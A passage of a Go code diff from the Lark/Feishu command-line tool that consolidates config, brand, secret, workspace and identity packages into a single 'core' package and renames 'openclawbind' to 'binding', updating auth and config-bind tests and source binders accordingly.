@@ -296,19 +294,19 @@ func TestAuthLogoutRun_RevokeFailureStillClearsLocalState(t *testing.T) {
setupLoginConfigDir(t)
t.Setenv("HOME", t.TempDir())
multi := &configpkg.MultiAppConfig{
multi := &core.MultiAppConfig{
CurrentApp: "default",
Apps: []configpkg.AppConfig{
Apps: []core.AppConfig{
{
Name: "default",
AppId: "cli_test",
AppSecret: secret.PlainSecret("secret"),
Brand: brand.Feishu,
Users: []configpkg.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
Users: []core.AppUser{{UserOpenId: "ou_user", UserName: "tester"}},
},
},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
if err := larkauth.SetStoredToken(&larkauth.StoredUAToken{
@@ -320,11 +318,11 @@ func TestAuthLogoutRun_RevokeFailureStillClearsLocalState(t *testing.T) {
t.Fatalf("SetStoredToken() error = %v", err)
}
f, _, stderr, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, _, stderr, reg := cmdutil.TestFactory(t, &core.CliConfig{
ProfileName: "default",
AppID: "cli_test",
AppSecret: "secret",
Brand: brand.Feishu,
Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
@@ -348,7 +346,7 @@ func TestAuthLogoutRun_RevokeFailureStillClearsLocalState(t *testing.T) {
if got := larkauth.GetStoredToken("cli_test", "ou_user"); got != nil {
t.Fatalf("expected stored token removed, got %#v", got)
}
saved, err := configpkg.LoadMultiAppConfig()
saved, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig() error = %v", err)
}

View File

@@ -11,15 +11,14 @@ import (
"strings"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/output"
)
func TestNewCmdAuthQRCode_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *QRCodeOptions
@@ -46,8 +45,8 @@ func TestNewCmdAuthQRCode_FlagParsing(t *testing.T) {
}
func TestNewCmdAuthQRCode_ASCIIFlag(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: brand.Feishu,
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *QRCodeOptions

View File

@@ -9,10 +9,9 @@ import (
"fmt"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
)
// stubGetAppInfoErr swaps getAppInfoFn for the duration of t so authScopesRun
@@ -32,10 +31,10 @@ func stubGetAppInfoErr(t *testing.T, errToReturn error) {
// and reach the getAppInfoFn call.
func scopesTestFactory(t *testing.T) *ScopesOptions {
t.Helper()
f, _, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app",
AppSecret: "test-secret",
Brand: brand.Feishu,
Brand: core.BrandFeishu,
})
return &ScopesOptions{
Factory: f,

View File

@@ -8,15 +8,14 @@ import (
"net/http"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
)
func TestAuthStatusRun_SplitsBotAndUserIdentity(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "secret", Brand: brand.Feishu,
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "secret", Brand: core.BrandFeishu,
})
if err := authStatusRun(&StatusOptions{Factory: f}); err != nil {
@@ -39,8 +38,8 @@ func TestAuthStatusRun_SplitsBotAndUserIdentity(t *testing.T) {
}
func TestAuthStatusRun_VerifyReportsBotIdentity(t *testing.T) {
f, stdout, _, reg := cmdutil.TestFactory(t, &configpkg.CliConfig{
AppID: "test-app", AppSecret: "secret", Brand: brand.Feishu,
f, stdout, _, reg := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "secret", Brand: core.BrandFeishu,
})
reg.Register(&httpmock.Stub{
Method: http.MethodGet,

View File

@@ -1,46 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package auth
import (
"os"
"path/filepath"
"testing"
"github.com/larksuite/cli/internal/registry/registrytest"
)
// TestMain isolates auth command tests from the host machine: config, logs
// and the registry cache are redirected to a temp dir, then the registry is
// seeded from the tracked fixture and initialized eagerly. Domain-completion
// tests read the registry, so without seeding a clean checkout would either
// fail or trigger a remote metadata fetch.
//
// Note: os.Exit skips deferred functions, so cleanup runs explicitly after
// m.Run before exiting.
func TestMain(m *testing.M) {
root, err := os.MkdirTemp("", "lark-cli-cmd-auth-test-*")
if err != nil {
println("cmd/auth test setup: MkdirTemp failed:", err.Error())
os.Exit(2)
}
if err := os.Setenv("LARKSUITE_CLI_CONFIG_DIR", filepath.Join(root, "config")); err != nil {
println("cmd/auth test setup: Setenv failed:", err.Error())
os.RemoveAll(root)
os.Exit(2)
}
if err := os.Setenv("LARKSUITE_CLI_LOG_DIR", filepath.Join(root, "logs")); err != nil {
println("cmd/auth test setup: Setenv failed:", err.Error())
os.RemoveAll(root)
os.Exit(2)
}
if err := registrytest.Seed(root); err != nil {
println("cmd/auth test setup: registrytest.Seed failed:", err.Error())
os.RemoveAll(root)
os.Exit(2)
}
code := m.Run()
_ = os.RemoveAll(root)
os.Exit(code)
}

View File

@@ -8,7 +8,8 @@ import (
"io"
"io/fs"
brandpkg "github.com/larksuite/cli/brand"
_ "github.com/larksuite/cli/agents"
"github.com/larksuite/cli/cmd/agents"
"github.com/larksuite/cli/cmd/api"
"github.com/larksuite/cli/cmd/auth"
"github.com/larksuite/cli/cmd/completion"
@@ -26,6 +27,7 @@ import (
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdpolicy"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/hook"
"github.com/larksuite/cli/internal/keychain"
"github.com/larksuite/cli/internal/registry"
@@ -44,7 +46,7 @@ type buildConfig struct {
skipStrictMode bool
skipService bool
serviceCatalog *apicatalog.Catalog
startupBrand brandpkg.Brand
startupBrand core.LarkBrand
}
// WithStartupBrand initializes the API registry with the given brand before
@@ -52,7 +54,7 @@ type buildConfig struct {
// registry's sync.Once locks onto the Feishu default at first catalog access,
// long before the lazily-resolved config brand is known — see
// ResolveStartupBrand for the caller-side resolution.
func WithStartupBrand(brand brandpkg.Brand) BuildOption {
func WithStartupBrand(brand core.LarkBrand) BuildOption {
return func(c *buildConfig) {
c.startupBrand = brand
}
@@ -222,6 +224,7 @@ func buildInternal(ctx context.Context, inv cmdutil.InvocationContext, opts ...B
rootCmd.AddCommand(cmdupdate.NewCmdUpdate(f))
rootCmd.AddCommand(cmdevent.NewCmdEvents(f))
rootCmd.AddCommand(skill.NewCmdSkill(f))
rootCmd.AddCommand(agents.NewCmdAgents(f))
if !cfg.skipService {
if cfg.serviceCatalog != nil {
service.RegisterServiceCommandsFromCatalog(ctx, rootCmd, f, *cfg.serviceCatalog)

View File

@@ -14,15 +14,12 @@ import (
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/i18n"
"github.com/larksuite/cli/internal/identity"
"github.com/larksuite/cli/internal/keychain"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/secret"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
"github.com/larksuite/cli/internal/workspace"
)
// BindOptions holds all inputs for config bind.
@@ -131,8 +128,8 @@ func configBindRun(opts *BindOptions) error {
if err != nil {
return err
}
workspace.SetCurrentWorkspace(workspace.Workspace(source))
targetConfigPath := workspace.GetConfigPath()
core.SetCurrentWorkspace(core.Workspace(source))
targetConfigPath := core.GetConfigPath()
existing, err := reconcileExistingBinding(opts, source, targetConfigPath)
if err != nil {
@@ -189,12 +186,12 @@ func finalizeSource(opts *BindOptions) (string, error) {
}
var detected string
switch workspace.DetectWorkspaceFromEnv(os.Getenv) {
case workspace.WorkspaceOpenClaw:
switch core.DetectWorkspaceFromEnv(os.Getenv) {
case core.WorkspaceOpenClaw:
detected = "openclaw"
case workspace.WorkspaceHermes:
case core.WorkspaceHermes:
detected = "hermes"
case workspace.WorkspaceLarkChannel:
case core.WorkspaceLarkChannel:
detected = "lark-channel"
}
@@ -267,7 +264,7 @@ func reconcileExistingBinding(opts *BindOptions, source, configPath string) (exi
// enumerate candidates, pick one via the shared decision layer, and build a
// ready-to-persist AppConfig. Adding a new bind source only requires
// implementing SourceBinder — none of the logic below needs to change.
func resolveAccount(opts *BindOptions, source string) (*configpkg.AppConfig, error) {
func resolveAccount(opts *BindOptions, source string) (*core.AppConfig, error) {
binder, err := newBinder(source, opts)
if err != nil {
return nil, err
@@ -310,12 +307,12 @@ func resolveIdentity(opts *BindOptions) error {
// the bind flow treats a corrupt previous config (commitBinding will
// overwrite it cleanly).
func hasStrictBotLock(data []byte) bool {
var multi configpkg.MultiAppConfig
var multi core.MultiAppConfig
if err := json.Unmarshal(data, &multi); err != nil {
return false
}
for _, app := range multi.Apps {
if app.StrictMode != nil && *app.StrictMode == identity.StrictModeBot {
if app.StrictMode != nil && *app.StrictMode == core.StrictModeBot {
return true
}
}
@@ -372,16 +369,16 @@ func preferredLang(requested, prior i18n.Lang) i18n.Lang {
return prior
}
func applyPreferences(appConfig *configpkg.AppConfig, opts *BindOptions, prior i18n.Lang) {
func applyPreferences(appConfig *core.AppConfig, opts *BindOptions, prior i18n.Lang) {
switch opts.Identity {
case "bot-only":
sm := identity.StrictModeBot
sm := core.StrictModeBot
appConfig.StrictMode = &sm
appConfig.DefaultAs = identity.AsBot
appConfig.DefaultAs = core.AsBot
case "user-default":
sm := identity.StrictModeOff
sm := core.StrictModeOff
appConfig.StrictMode = &sm
appConfig.DefaultAs = identity.AsUser
appConfig.DefaultAs = core.AsUser
}
appConfig.Lang = preferredLang(i18n.Lang(opts.Lang), prior)
}
@@ -392,7 +389,7 @@ func applyPreferences(appConfig *configpkg.AppConfig, opts *BindOptions, prior i
// wrong profile's preference into a re-bind when the workspace holds multiple
// named profiles and the active one disagrees with Apps[0].
func priorLang(previousConfigBytes []byte) i18n.Lang {
var multi configpkg.MultiAppConfig
var multi core.MultiAppConfig
if json.Unmarshal(previousConfigBytes, &multi) != nil {
return ""
}
@@ -407,10 +404,10 @@ func priorLang(previousConfigBytes []byte) i18n.Lang {
// any), and a JSON success envelope. Cleanup runs only after the new config
// is durably written — if anything fails earlier, the old workspace stays
// usable.
func commitBinding(opts *BindOptions, appConfig *configpkg.AppConfig, previousConfigBytes []byte, source, configPath string) error {
multi := &configpkg.MultiAppConfig{Apps: []configpkg.AppConfig{*appConfig}}
func commitBinding(opts *BindOptions, appConfig *core.AppConfig, previousConfigBytes []byte, source, configPath string) error {
multi := &core.MultiAppConfig{Apps: []core.AppConfig{*appConfig}}
if err := vfs.MkdirAll(workspace.GetConfigDir(), 0700); err != nil {
if err := vfs.MkdirAll(core.GetConfigDir(), 0700); err != nil {
return errs.NewInternalError(errs.SubtypeFileIO, "failed to create workspace directory: %v", err).WithCause(err)
}
data, err := json.MarshalIndent(multi, "", " ")
@@ -479,8 +476,8 @@ func commitBinding(opts *BindOptions, appConfig *configpkg.AppConfig, previousCo
// the secret that ForStorage just wrote (old and new secret share the same
// keychain key, derived from appId). Best-effort: errors are silently
// ignored (same contract as config init's cleanup).
func cleanupKeychainFromData(kc keychain.KeychainAccess, data []byte, keep *configpkg.AppConfig) {
var multi configpkg.MultiAppConfig
func cleanupKeychainFromData(kc keychain.KeychainAccess, data []byte, keep *core.AppConfig) {
var multi core.MultiAppConfig
if err := json.Unmarshal(data, &multi); err != nil {
return
}
@@ -492,7 +489,7 @@ func cleanupKeychainFromData(kc keychain.KeychainAccess, data []byte, keep *conf
if keepID != "" && app.AppSecret.Ref != nil && app.AppSecret.Ref.Source == "keychain" && app.AppSecret.Ref.ID == keepID {
continue
}
secret.RemoveSecretStore(app.AppSecret, kc)
core.RemoveSecretStore(app.AppSecret, kc)
}
}
@@ -506,13 +503,13 @@ func tuiSelectSource(opts *BindOptions) (string, error) {
var source string
// Pre-select based on detected env signals
detected := workspace.DetectWorkspaceFromEnv(os.Getenv)
detected := core.DetectWorkspaceFromEnv(os.Getenv)
switch detected {
case workspace.WorkspaceOpenClaw:
case core.WorkspaceOpenClaw:
source = "openclaw"
case workspace.WorkspaceHermes:
case core.WorkspaceHermes:
source = "hermes"
case workspace.WorkspaceLarkChannel:
case core.WorkspaceLarkChannel:
source = "lark-channel"
default:
source = "openclaw" // default first option
@@ -585,7 +582,7 @@ func tuiConflictPrompt(opts *BindOptions, source, configPath string) (string, er
// Build existing binding summary
existingSummary := fmt.Sprintf(msg.ConflictDesc, source, "?", "?", configPath)
if data, err := vfs.ReadFile(configPath); err == nil {
var multi configpkg.MultiAppConfig
var multi core.MultiAppConfig
if json.Unmarshal(data, &multi) == nil && len(multi.Apps) > 0 {
app := multi.Apps[0]
existingSummary = fmt.Sprintf(msg.ConflictDesc,

View File

@@ -13,15 +13,11 @@ import (
"strings"
"testing"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/cmdutil"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/i18n"
"github.com/larksuite/cli/internal/identity"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/secret"
"github.com/larksuite/cli/internal/workspace"
)
// wantErrDetail is the normalized comparison shape for a typed error's wire
@@ -84,8 +80,8 @@ func assertEnvelope(t *testing.T, stdout []byte, want map[string]any) {
// Must be called at the start of any test that may trigger configBindRun (which sets workspace).
func saveWorkspace(t *testing.T) {
t.Helper()
orig := workspace.CurrentWorkspace()
t.Cleanup(func() { workspace.SetCurrentWorkspace(orig) })
orig := core.CurrentWorkspace()
t.Cleanup(func() { core.SetCurrentWorkspace(orig) })
}
// ── Command flag parsing tests (aligned with config_test.go pattern) ──
@@ -233,7 +229,7 @@ func TestConfigBindRun_EmptyLangIsNoOp(t *testing.T) {
t.Fatalf("configBindRun(--lang %q) = %v, want nil", tc.lang, err)
}
multi, err := configpkg.LoadMultiAppConfig()
multi, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig: %v", err)
}
@@ -269,7 +265,7 @@ func TestConfigBindRun_OmitLangPreservesPrior(t *testing.T) {
t.Fatalf("re-bind (no --lang): %v", err)
}
multi, err := configpkg.LoadMultiAppConfig()
multi, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("LoadMultiAppConfig: %v", err)
}
@@ -283,9 +279,9 @@ func TestConfigBindRun_OmitLangPreservesPrior(t *testing.T) {
// workspace (set up via `profile add` before a re-bind), the active profile's
// Lang must win over a sibling profile that happens to sit earlier in the slice.
func TestPriorLang_RespectsCurrentApp(t *testing.T) {
multi := configpkg.MultiAppConfig{
multi := core.MultiAppConfig{
CurrentApp: "active",
Apps: []configpkg.AppConfig{
Apps: []core.AppConfig{
{Name: "stale", AppId: "cli_stale", Lang: i18n.LangJaJP},
{Name: "active", AppId: "cli_active", Lang: i18n.LangEnUS},
},
@@ -304,8 +300,8 @@ func TestPriorLang_RespectsCurrentApp(t *testing.T) {
// so a bind-written config (which always has exactly one app and no
// CurrentApp field) still inherits its Lang.
func TestPriorLang_FallsBackToFirstAppWhenCurrentUnset(t *testing.T) {
multi := configpkg.MultiAppConfig{
Apps: []configpkg.AppConfig{
multi := core.MultiAppConfig{
Apps: []core.AppConfig{
{AppId: "cli_only", Lang: i18n.LangJaJP},
},
}
@@ -643,8 +639,8 @@ func TestConfigBindRun_LarkChannel_Success(t *testing.T) {
// Brand is not in the stdout envelope — read it back from the persisted
// workspace config to verify accounts.app.tenant flowed through to the
// stored AppConfig.Brand field.
workspace.SetCurrentWorkspace(workspace.WorkspaceLarkChannel)
multi, err := configpkg.LoadMultiAppConfig()
core.SetCurrentWorkspace(core.WorkspaceLarkChannel)
multi, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("load workspace config: %v", err)
}
@@ -690,8 +686,8 @@ func TestConfigBindRun_LarkChannel_LarkTenant(t *testing.T) {
if err := configBindRun(&BindOptions{Factory: f, Source: "lark-channel"}); err != nil {
t.Fatalf("expected success, got error: %v", err)
}
workspace.SetCurrentWorkspace(workspace.WorkspaceLarkChannel)
multi, err := configpkg.LoadMultiAppConfig()
core.SetCurrentWorkspace(core.WorkspaceLarkChannel)
multi, err := core.LoadMultiAppConfig()
if err != nil {
t.Fatalf("load workspace config: %v", err)
}
@@ -805,16 +801,16 @@ func TestConfigShowRun_WorkspaceField(t *testing.T) {
configDir := t.TempDir()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", configDir)
workspace.SetCurrentWorkspace(workspace.WorkspaceLocal)
core.SetCurrentWorkspace(core.WorkspaceLocal)
multi := &configpkg.MultiAppConfig{
Apps: []configpkg.AppConfig{{
multi := &core.MultiAppConfig{
Apps: []core.AppConfig{{
AppId: "cli_local_test",
AppSecret: secret.PlainSecret("secret"),
Brand: brand.Feishu,
AppSecret: core.PlainSecret("secret"),
Brand: core.BrandFeishu,
}},
}
if err := configpkg.SaveMultiAppConfig(multi); err != nil {
if err := core.SaveMultiAppConfig(multi); err != nil {
t.Fatalf("save: %v", err)
}
@@ -831,7 +827,7 @@ func TestConfigShowRun_AgentWorkspaceNotBound(t *testing.T) {
saveWorkspace(t)
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
workspace.SetCurrentWorkspace(workspace.WorkspaceOpenClaw)
core.SetCurrentWorkspace(core.WorkspaceOpenClaw)
f, _, _, _ := cmdutil.TestFactory(t, nil)
err := configShowRun(&ConfigShowOptions{Factory: f})
@@ -1002,7 +998,7 @@ func TestConfigBindRun_HermesSuccess(t *testing.T) {
if err != nil {
t.Fatalf("read config.json: %v", err)
}
var multi configpkg.MultiAppConfig
var multi core.MultiAppConfig
if err := json.Unmarshal(data, &multi); err != nil {
t.Fatalf("unmarshal config.json: %v", err)
}
@@ -1012,8 +1008,8 @@ func TestConfigBindRun_HermesSuccess(t *testing.T) {
if multi.Apps[0].AppId != "cli_hermes_abc" {
t.Errorf("appId = %q, want %q", multi.Apps[0].AppId, "cli_hermes_abc")
}
if multi.Apps[0].Brand != brand.Lark {
t.Errorf("brand = %q, want %q", multi.Apps[0].Brand, brand.Lark)
if multi.Apps[0].Brand != core.BrandLark {
t.Errorf("brand = %q, want %q", multi.Apps[0].Brand, core.BrandLark)
}
}
@@ -1279,7 +1275,7 @@ func TestConfigBindRun_Identity_BotOnly_Applied(t *testing.T) {
"message": fmt.Sprintf(msg.MessageBotOnly, "cli_abc", "Hermes", brandDisplay("feishu", "en")),
})
assertPresetApplied(t, filepath.Join(configDir, "hermes", "config.json"),
identity.StrictModeBot, identity.AsBot)
core.StrictModeBot, core.AsBot)
}
// TestConfigBindRun_FlagModeDefaultsToBotOnly verifies the flag-mode default
@@ -1314,7 +1310,7 @@ func TestConfigBindRun_FlagModeDefaultsToBotOnly(t *testing.T) {
"message": fmt.Sprintf(msg.MessageBotOnly, "cli_abc", "Hermes", brandDisplay("feishu", "")),
})
assertPresetApplied(t, filepath.Join(configDir, "hermes", "config.json"),
identity.StrictModeBot, identity.AsBot)
core.StrictModeBot, core.AsBot)
}
// TestConfigBindRun_WarnsOnIdentityEscalationWithoutForce verifies the
@@ -1410,7 +1406,7 @@ func TestConfigBindRun_IdentityEscalationWithForceAllowed(t *testing.T) {
t.Fatalf("expected --force to allow the escalation, got: %v", err)
}
assertPresetApplied(t, filepath.Join(hermesDir, "config.json"),
identity.StrictModeOff, identity.AsUser)
core.StrictModeOff, core.AsUser)
}
// TestConfigBindRun_AllowsRebindSameBotOnly verifies re-binding the same
@@ -1446,7 +1442,7 @@ func TestConfigBindRun_AllowsRebindSameBotOnly(t *testing.T) {
t.Fatalf("expected rebind to same bot-only identity to succeed, got: %v", err)
}
assertPresetApplied(t, filepath.Join(hermesDir, "config.json"),
identity.StrictModeBot, identity.AsBot)
core.StrictModeBot, core.AsBot)
}
// TestConfigBindRun_AllowsUserDefaultOnUserDefaultConfig verifies that if the
@@ -1483,18 +1479,18 @@ func TestConfigBindRun_AllowsUserDefaultOnUserDefaultConfig(t *testing.T) {
t.Fatalf("expected user-default→user-default rebind to succeed, got: %v", err)
}
assertPresetApplied(t, filepath.Join(hermesDir, "config.json"),
identity.StrictModeOff, identity.AsUser)
core.StrictModeOff, core.AsUser)
}
// assertPresetApplied verifies the on-disk config.json applied the identity
// preset's StrictMode + DefaultAs expansion.
func assertPresetApplied(t *testing.T, configPath string, wantStrict identity.StrictMode, wantDefault identity.Identity) {
func assertPresetApplied(t *testing.T, configPath string, wantStrict core.StrictMode, wantDefault core.Identity) {
t.Helper()
data, err := os.ReadFile(configPath)
if err != nil {
t.Fatalf("read %s: %v", configPath, err)
}
var multi configpkg.MultiAppConfig
var multi core.MultiAppConfig
if err := json.Unmarshal(data, &multi); err != nil {
t.Fatalf("unmarshal %s: %v", configPath, err)
}
@@ -1791,10 +1787,10 @@ func TestCleanupKeychainFromData_KeepsSecretSharedWithNewApp(t *testing.T) {
}
oldConfig := []byte(`{"apps":[{"appId":"cli_shared","appSecret":{"source":"keychain","id":"` + sharedID + `"}}]}`)
newApp := &configpkg.AppConfig{
newApp := &core.AppConfig{
AppId: "cli_shared",
AppSecret: secret.SecretInput{
Ref: &secret.SecretRef{Source: "keychain", ID: sharedID},
AppSecret: core.SecretInput{
Ref: &core.SecretRef{Source: "keychain", ID: sharedID},
},
}
@@ -1821,10 +1817,10 @@ func TestCleanupKeychainFromData_RemovesStaleSecretWhenAppIDChanges(t *testing.T
}
oldConfig := []byte(`{"apps":[{"appId":"cli_old","appSecret":{"source":"keychain","id":"` + oldID + `"}}]}`)
newApp := &configpkg.AppConfig{
newApp := &core.AppConfig{
AppId: "cli_new",
AppSecret: secret.SecretInput{
Ref: &secret.SecretRef{Source: "keychain", ID: newID},
AppSecret: core.SecretInput{
Ref: &core.SecretRef{Source: "keychain", ID: newID},
},
}

View File

@@ -9,11 +9,9 @@ import (
"path/filepath"
"strings"
"github.com/larksuite/cli/brand"
"github.com/larksuite/cli/errs"
configpkg "github.com/larksuite/cli/internal/config"
"github.com/larksuite/cli/internal/openclawbind"
secretpkg "github.com/larksuite/cli/internal/secret"
"github.com/larksuite/cli/internal/binding"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/vfs"
)
@@ -38,7 +36,7 @@ type SourceBinder interface {
ListCandidates() ([]Candidate, error)
// Build resolves secrets, persists to keychain, and returns a ready AppConfig
// for the chosen candidate AppID. Must be called after ListCandidates succeeds.
Build(appID string) (*configpkg.AppConfig, error)
Build(appID string) (*core.AppConfig, error)
}
// newBinder constructs the SourceBinder for the given source name.
@@ -140,15 +138,15 @@ type openclawBinder struct {
path string
// Cached between ListCandidates and Build so we don't re-read / re-parse.
cfg *openclawbind.OpenClawRoot
rawApps []openclawbind.CandidateApp
cfg *binding.OpenClawRoot
rawApps []binding.CandidateApp
}
func (b *openclawBinder) Name() string { return "openclaw" }
func (b *openclawBinder) ConfigPath() string { return b.path }
func (b *openclawBinder) ListCandidates() ([]Candidate, error) {
cfg, err := openclawbind.ReadOpenClawConfig(b.path)
cfg, err := binding.ReadOpenClawConfig(b.path)
if err != nil {
return nil, errs.NewConfigError(errs.SubtypeInvalidConfig, "cannot read %s: %v", b.path, err).
WithHint("verify OpenClaw is installed and configured").
@@ -159,7 +157,7 @@ func (b *openclawBinder) ListCandidates() ([]Candidate, error) {
WithHint("configure Feishu in OpenClaw first")
}
raw := openclawbind.ListCandidateApps(cfg.Channels.Feishu)
raw := binding.ListCandidateApps(cfg.Channels.Feishu)
b.cfg = cfg
b.rawApps = raw
@@ -170,12 +168,12 @@ func (b *openclawBinder) ListCandidates() ([]Candidate, error) {
return result, nil
}
func (b *openclawBinder) Build(appID string) (*configpkg.AppConfig, error) {
func (b *openclawBinder) Build(appID string) (*core.AppConfig, error) {
if b.cfg == nil {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: Build called before ListCandidates")
}
var selected *openclawbind.CandidateApp
var selected *binding.CandidateApp
for i := range b.rawApps {
if b.rawApps[i].AppID == appID {
selected = &b.rawApps[i]
@@ -190,24 +188,24 @@ func (b *openclawBinder) Build(appID string) (*configpkg.AppConfig, error) {
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "appSecret is empty for app %s in %s", selected.AppID, b.path).
WithHint("configure channels.feishu.appSecret in openclaw.json")
}
secret, err := openclawbind.ResolveSecretInput(selected.AppSecret, b.cfg.Secrets, os.Getenv)
secret, err := binding.ResolveSecretInput(selected.AppSecret, b.cfg.Secrets, os.Getenv)
if err != nil {
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "failed to resolve appSecret for %s: %v", selected.AppID, err).
WithHint("check appSecret configuration in %s", b.path).
WithCause(err)
}
stored, err := secretpkg.ForStorage(selected.AppID, secretpkg.PlainSecret(secret), b.opts.Factory.Keychain)
stored, err := core.ForStorage(selected.AppID, core.PlainSecret(secret), b.opts.Factory.Keychain)
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeStorage, "keychain unavailable: %v", err).
WithHint("use file: reference in config to bypass keychain").
WithCause(err)
}
return &configpkg.AppConfig{
return &core.AppConfig{
AppId: selected.AppID,
AppSecret: stored,
Brand: brand.ParseBrand(selected.Brand),
Brand: core.ParseBrand(selected.Brand),
}, nil
}
@@ -240,7 +238,7 @@ func (b *hermesBinder) ListCandidates() ([]Candidate, error) {
return []Candidate{{AppID: appID, Label: "default"}}, nil
}
func (b *hermesBinder) Build(appID string) (*configpkg.AppConfig, error) {
func (b *hermesBinder) Build(appID string) (*core.AppConfig, error) {
if b.envMap == nil {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: Build called before ListCandidates")
}
@@ -253,17 +251,17 @@ func (b *hermesBinder) Build(appID string) (*configpkg.AppConfig, error) {
WithHint("run 'hermes setup' to configure Feishu credentials")
}
stored, err := secretpkg.ForStorage(appID, secretpkg.PlainSecret(appSecret), b.opts.Factory.Keychain)
stored, err := core.ForStorage(appID, core.PlainSecret(appSecret), b.opts.Factory.Keychain)
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeStorage, "keychain unavailable: %v", err).
WithHint("use file: reference in config to bypass keychain").
WithCause(err)
}
return &configpkg.AppConfig{
return &core.AppConfig{
AppId: appID,
AppSecret: stored,
Brand: brand.ParseBrand(b.envMap["FEISHU_DOMAIN"]),
Brand: core.ParseBrand(b.envMap["FEISHU_DOMAIN"]),
}, nil
}
@@ -276,14 +274,14 @@ type larkChannelBinder struct {
path string
// Cached between ListCandidates and Build so we don't re-read the file.
cfg *openclawbind.LarkChannelRoot
cfg *binding.LarkChannelRoot
}
func (b *larkChannelBinder) Name() string { return "lark-channel" }
func (b *larkChannelBinder) ConfigPath() string { return b.path }
func (b *larkChannelBinder) ListCandidates() ([]Candidate, error) {
cfg, err := openclawbind.ReadLarkChannelConfig(b.path)
cfg, err := binding.ReadLarkChannelConfig(b.path)
if err != nil {
return nil, errs.NewConfigError(errs.SubtypeInvalidConfig, "cannot read %s: %v", b.path, err).
WithHint("verify lark-channel-bridge is installed and configured").
@@ -297,7 +295,7 @@ func (b *larkChannelBinder) ListCandidates() ([]Candidate, error) {
return []Candidate{{AppID: cfg.Accounts.App.ID, Label: "default"}}, nil
}
func (b *larkChannelBinder) Build(appID string) (*configpkg.AppConfig, error) {
func (b *larkChannelBinder) Build(appID string) (*core.AppConfig, error) {
if b.cfg == nil {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: Build called before ListCandidates")
}
@@ -311,24 +309,24 @@ func (b *larkChannelBinder) Build(appID string) (*configpkg.AppConfig, error) {
// Resolve through the same SecretInput pipeline openclaw uses, so
// bridge configs can use ${VAR} / env / file / exec just like openclaw.
secret, err := openclawbind.ResolveSecretInput(b.cfg.Accounts.App.Secret, b.cfg.Secrets, os.Getenv)
secret, err := binding.ResolveSecretInput(b.cfg.Accounts.App.Secret, b.cfg.Secrets, os.Getenv)
if err != nil {
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "failed to resolve appSecret for %s: %v", appID, err).
WithHint("check appSecret configuration in %s", b.path).
WithCause(err)
}
stored, err := secretpkg.ForStorage(appID, secretpkg.PlainSecret(secret), b.opts.Factory.Keychain)
stored, err := core.ForStorage(appID, core.PlainSecret(secret), b.opts.Factory.Keychain)
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeStorage, "keychain unavailable: %v", err).
WithHint("use file: reference in config to bypass keychain").
WithCause(err)
}
return &configpkg.AppConfig{
